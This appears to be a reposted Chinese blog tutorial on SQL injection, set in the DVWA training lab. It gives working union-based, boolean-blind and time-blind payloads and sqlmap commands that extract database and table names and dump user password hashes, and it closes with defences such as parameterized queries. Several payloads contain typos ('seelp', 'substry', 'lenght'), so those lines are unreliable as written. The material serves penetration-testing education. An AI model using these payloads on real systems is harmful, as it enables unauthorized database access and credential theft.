渗透测试之sql注入

sql注入一

理论:

1.sql语言:

结构化查询语言
是一种数据库查询和程序设计语言
用于存取数据及查询、更新、管理关系数据库系统

常用的语句:
增:insert into <表名><列名>values(列值)
删:delete from <表名>( where<删除条件>)
改:update <表名> set <列名=更新值>(where<更新条件>)
查:select <列名>from<表名>(where<查询条件表达式>)

2.sql注入

通过把sql命令插入到web表单或输入域名或页面请求的查询字符串
最终达到欺骗服务器执行恶意的SQL命令。

sql注入利用的是正常的HTTP服务端口,表面上看来和正常的web访问没有区别,隐蔽性极强,不易被发现。

3.sql注入工作原理:

攻击者通过构造特殊的查询语句,访问web服务器,服务器接收到语句后,动态的查询数据,数据库会根据相应的要求返回数据库信息,服务器接收到信息后就直接返回获得的数据库信息给攻击者。

4.SQL注入漏洞形成的条件

用户可以控制数据的输入
原本要执行的sql代码,拼接了用户输入。

5.sql注入的实现:

a、sql查询语句
select * from news where id=1
正常情况下意思为:查询news表中,id为1的记录。
b、sql注入
添加恶意代码,重新构造语句
select * from news where id=1 or 1=1
如果返回表中所有数据记录,则存在注入点。

c、查询数据库;
通过union 等方法拼接查询语句,最终获得数据库相关信息。
例如管理员账号和密码信息。

d、没有对id值进行合法的检查

6.sql注入的危害;

数据库信息泄露
网页篡改
网站挂马
对数据库恶意操作
远程控制服务器
破坏硬盘数据

7.sql注入分类:

注入点类型:数字型注入、字符型注入
数字型:其注入点类型为数字(不需要引号闭合语句)
常见的url类型如:http://xxxx.com/sqli.php?id=1
内部sql语句:select * from 表名 where id = ($id)

字符型注入:其注入点类型为字符类型,需要单引号闭合。
常见的url类型如:http://xxxx.com/sqli.php?name=fcfc
内部sql语句:select * from 表名 where name = ‘($name)’

注入点位置:
get注入、注入点位置在get参数部分
Post注入、注入字段在post数据中(一般在表单提交,产品查询)
cookie注入、注入字段在cookie数据中
搜索型注入、注入点为搜索的地点(也属于post注入)
HTTP头部注入、注入点在http头部的某字段

伪静态注入
base64注入
二阶注入
xml实体注入
phpcmsv9 authkey注入

页面返回结果:
有回显的:
报错注入:使用count(*)、rand()、group by 构造报错函数
uunion注入:使用union查询获取所有想要的数据

无回显
布尔盲注:通过构造逻辑判断来得到我们需要的信息
时间盲注:使用sleep()函数观察web 应用响应时间上的差异

sql手工注入(初级)

实验环境
dvwa

实战:

1.配置dvwa:
进入dvwa,选择dvwa security ,将安全级别设置为low.

2.测试sql注入点

1.点击sql injection 进入测试页面

2.尝试输入单引号,如果报错,说明页面可能存在注入点

3.输入1’or ‘1’='1 ,返回所有数据信息,说明用户输入信息没做控制。

4.猜解sql语句中的字段数:
’ or 1=1 order by 1#
’ or 1=1 order by 2#
’ or 1=1 order by 3#
如果到3的时候报错了,则说明字段数为2

5.确定显示的字段顺序:
1’ union select 1,2#

6.获取当前数据库名称:
1’ union select 1,database()#

7.获取数据库中的表名:
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

8.获取users表中的字段名:
’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#

9.获取表中的数据:
’ union select group_concat (user_id,user),group_concat (password) from users#

10.通过工具或网络,将用户密码MD5值进行解密

sql手工注入(中级)

实验环境:
DVWA:安全级别设置为medium
burp suite :代理设置,选择proxy下的哦options选项添加需要侦听的代理接口。
设置浏览器是代理选项:(根据不同浏览器进行相应配置)

实战:
1.在burp中设置拦截请求,然后在测试页面提交任意参数,此时burp中出现拦截的数据包
,将id=的参数改为1 or 1=1 ,点击proxy-intercept-forward按钮,返回测试页面,如果返回数据,查询数据成功,则说明存在数字型漏洞。
如果id参数设置为 ‘ or ‘1’=’1 如果查询成功则存在字符型漏洞。

2.使用burpsuite软件猜解sql查询语句中的字段数。
在抓取数据包的id值后依次使用如下命令进行逐个猜解直到猜解出字段数
order by 1 #
order by 2 #
order by 3#

3.使用burpsuite确定显示的字段顺序
在抓取数据包的id值后加语句:
union select 1,2 #

  1. 使用burpsuite 获取当前数据库名
    在抓取数据包的id值后加语句:
    union select 1,database() #

  2. 使用burpsuite 获取当前数据库中的表名
    在抓取数据包的id值后加语句:
    union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

  3. 使用burpsuite 获取users 表中的字段名:
    在burp suite中选择decoder 选项,输入users ,选择encode as 下的html选项,得到users表中的16进制值。
    然后在抓取数据包的id值后加语句:
    union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

  4. 使用burpsuite 获取表中的数据:
    在抓取数据包的id值后加语句:
    union select group_concat(user_id, user),group_concat(password) from users #

sql手工注入(高级)

实验环境:
DVWA

实战:
1.进入dvwa 将安全级别设置为high

2.在前台页面输入1’ or 1=1#,查询数据成功,说明存在字符型注入漏洞

3.猜解查询语句中的字段数:
1’ or 1=1 order by 1 #
1’ or 1=1 order by 2 #
1’ or 1=1 order by 3 #

4.确定显示的字段顺序:
1’ union select 1,2 #

5.获取数据库名
1’ union select 1,database() #

6.获取表名:
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

7.获取users表中字段名;
1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #
(’users’的十六进制表示为0x7573657273 )

8.获取表中数据:
1’ or 1=1 union select group_concat(user_id,user),group_concat(password) from users #

9.获取的密码用工具解密:

sql盲注

盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注。

布尔盲注

采用sql语句中and的方法,返回正确或错误来构造

实验环境
DVWA
将安全级别设置为low

实战;
1.进入sql injection (blind),进入测试页面

2.使用1’ and 1=1 #提交,显示页面存在、使用1’ and 1=2 #提交,显示页面不存在。
这样可以基本判断存在注入

3.猜解数据库名的长度:
1’ and length(database())=1 # //显示不存在
1’ and length(database())=2 # //显示不存在
1’ and length(database())=3 # //显示不存在
1’ and length(database())=4 # //显示不存在

4.二分法猜解数据库名:
1’ and ascii(substry(database(),1,1))<100 # //显示不存在
1’ and ascii(substry(database(),1,1))>100 # //显示不存在
此命令中修改substr函数的第二个参数,如(substr(database(),2,1))进行测试可以获得数据库的第二个字母。

  1. 猜解数据库表的数量:
    1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # //显示不存在

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 # //显示存在,说明存在两张表

6.猜解数据库表名的长度:
1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # //显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # //显示存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 # //显示存在

7.猜解数据库表的名称
1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # //显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # //显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103 # //显示存在

重复步骤猜解出所有表名

8.猜解数据库表中的字段长度:
1’ and (select count(column_name) from information_schema.columns where table_name =’users’)=1#

1’ and (select count(column_name) from information_schema.columns where table_name =’users’)=8#

9.猜解数据库表中的字段名称
1’ and ascii(substr((select column_name from information_schema.column where table_name=’users’ limit 0,1),1,1))<117 # //显示不存在

1’ and ascii (substr((select column_name from information_schema.column where table_name=‘users’ limit 0,1),1,1))>117 #显示不存在

10.猜解表中数据:
1’ and (select count(first_name) from users)=5# //显示存在,表示users表中的字段数为5
猜测每条记录的长度,说明first_name的第一个值的长度为5个字符
1’ and (select count(first_name) from users)=5# //显示存在

11.二分法猜解表中的数据:

1’ and ascii(substr((select first_name from users limit 0,1),1,1))<97 #
1’ and ascii(substr((select first_name from users limit 0,1),1,1))>97 #
1’ and ascii(substr((select first_name from users limit 0,1),1,1))=97 #

时间盲注:

基于时间的延迟

实验环境
DVWA
将安全级别设置为low

实战;
1.进入sql injection (blind),进入测试页面

  1. 使用 1 and sleep(5) # 进行提交,发现页面没有延迟
    使用1’ and sleep(5) # 进行提交,发现页面有明显延迟
    说明是基于字符的时间盲注。

3.猜解数据库名长度
1’ and if(length(database())=1,sleep(5),1)# //发现没有延迟

1’ and if(length(database())=4,sleep(5),1)# /发现存在延迟,说明库名长度为4

4.二分法猜解数据库名
1’ and if(ascii(substr(database(),1,1))>97,seelp(5),1)# //明显延迟
1’ and if(ascii(substr(database(),1,1))>100,seelp(5),1)# //无延迟
1’ and if(ascii(substr(database(),1,1))<100,seelp(5),1)# //无延迟

此命令中修改substr函数的第二个参数,如(substr(database(),2,1))进行测试可以获得数据库的第二个字母。

5.猜解数据库表的数量
1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=1,seelp(5),1)# 无延迟

1’ and if((select count(table_name) from information_schema.tables where table_schema=database())=2,seelp(5),1)# //有延迟,说明有两张表

6.猜解表的长度
1’ and if (lenght(substr((select table_name from information_scheam.tables where table_schema=database() limit0,1),1))=1,seelp(5),1)# //无延迟

1’ and if (lenght(substr((select table_name from information_scheam.tables where table_schema=database() limit0,1),1))=9,seelp(5),1)# //有延迟

7.猜解数据库名称:

1’ and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103,seelp(5),1)# //无延迟

1’ and if (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103,seelp(5),1)# //有延迟

8.猜解数据库表中的字段长度
1’ and if((select count(column_name) from information_schema.columns where table_name =‘users’)=1, sleep(5),1# //无延迟

1’ and if((select count(column_name) from information_schema.columns where table_name =‘users’)=8, sleep(5),1# //有延迟

9.猜解数据库表中字段名称

1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))<117,sleep(5),1 # //无延迟

1’ and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1))>117,sleep(5),1 # //无延迟

10.猜解表中的数据:
1’ and if((select count(first_name) from users)=5,sleep(5),1)# //明显延迟
users表中的字段数为5
猜测每条记录的长度,说明first_name 的第一个值得的长度为5个字符
1’ and if(length(substr((select first_name from users limit0,1),1))=5,sleep(5),1)#//有延迟

11.二分法猜解表中数据
1’ and if(ascii(substr((select first_name from users limit 0,1),1,1))>97,sleep(5),1)# //无延迟
1’ and if(ascii(substr((select first_name from users limit 0,1),1,1))<,sleep(5),1)# //无延迟

sqlmap工具注入:

测试环境:
dvwa
kali
实战:
1.在kali中调用sqlmap工具,使用命令 sqlmap -u 目标地址,进行测试,
系统直接跳转到登录页面。

2.通过检查浏览器元素,在请求头中,可以查找当前浏览器的cookie值

3.添加–cookie参数,构造如下命令
sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie=“security=low;PHPSESSID=hlt719753di5a70lfvcuo1nda5”

需要手工不断输入相关Y/N参数

4.在后面加入 --batch 参数,sqlmap会自动填写参数并执行。
发现一个union query 类型的注入点
sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie=“security=low;PHPSESSID=hlt719753di5a70lfvcuo1nda5” --batch

  1. 获取数据库相关信息
    添加参数 --dbs
    sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie=“security=low;PHPSESSID=hlt719753di5a70lfvcuo1nda5” --batch --dbs

  2. 获取数据库中的表名
    使用 -D xxx 指定查看的数据库,用–tables 查看该数据库的所有表
    sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie=“security=low;PHPSESSID=hlt719753di5a70lfvcuo1nda5” --batch --dbs -D dvwa

  3. 获取users 表中的字段名
    使用-D xxx(库名) -T xxx(表名) --columns 枚举表中的所有字段信息
    sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie=“security=low;PHPSESSID=hlt719753di5a70lfvcuo1nda5” --batch --dbs -D dvwa -T users --columns

  4. 获取表中的数据。
    获取user,password参数,具体命令如下
    -D (xxx数据库名)-T(xxx表名)-C(字段名)–dump转储DBMS数据表项

sqlmap -u “http://192.168.1.10:81/DVWA/vulnerabilities/sqli/?id=1&Submit#” --cookie=“security=low;PHPSESSID=hlt719753di5a70lfvcuo1nda5” --batch --dbs -D dvwa -T users -C user_id,user,password --dump

SQL注入防范:

1.数据库安全加固、WAF、IDS\IPS
2.对输入进行严格的转义和过滤
3.使用参数化(Parameterized)
4.PDO预处理——PDO预处理能防止SQL注入的原因
没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。

猜你喜欢

转载自blog.csdn.net/weixin_45380284/article/details/107664117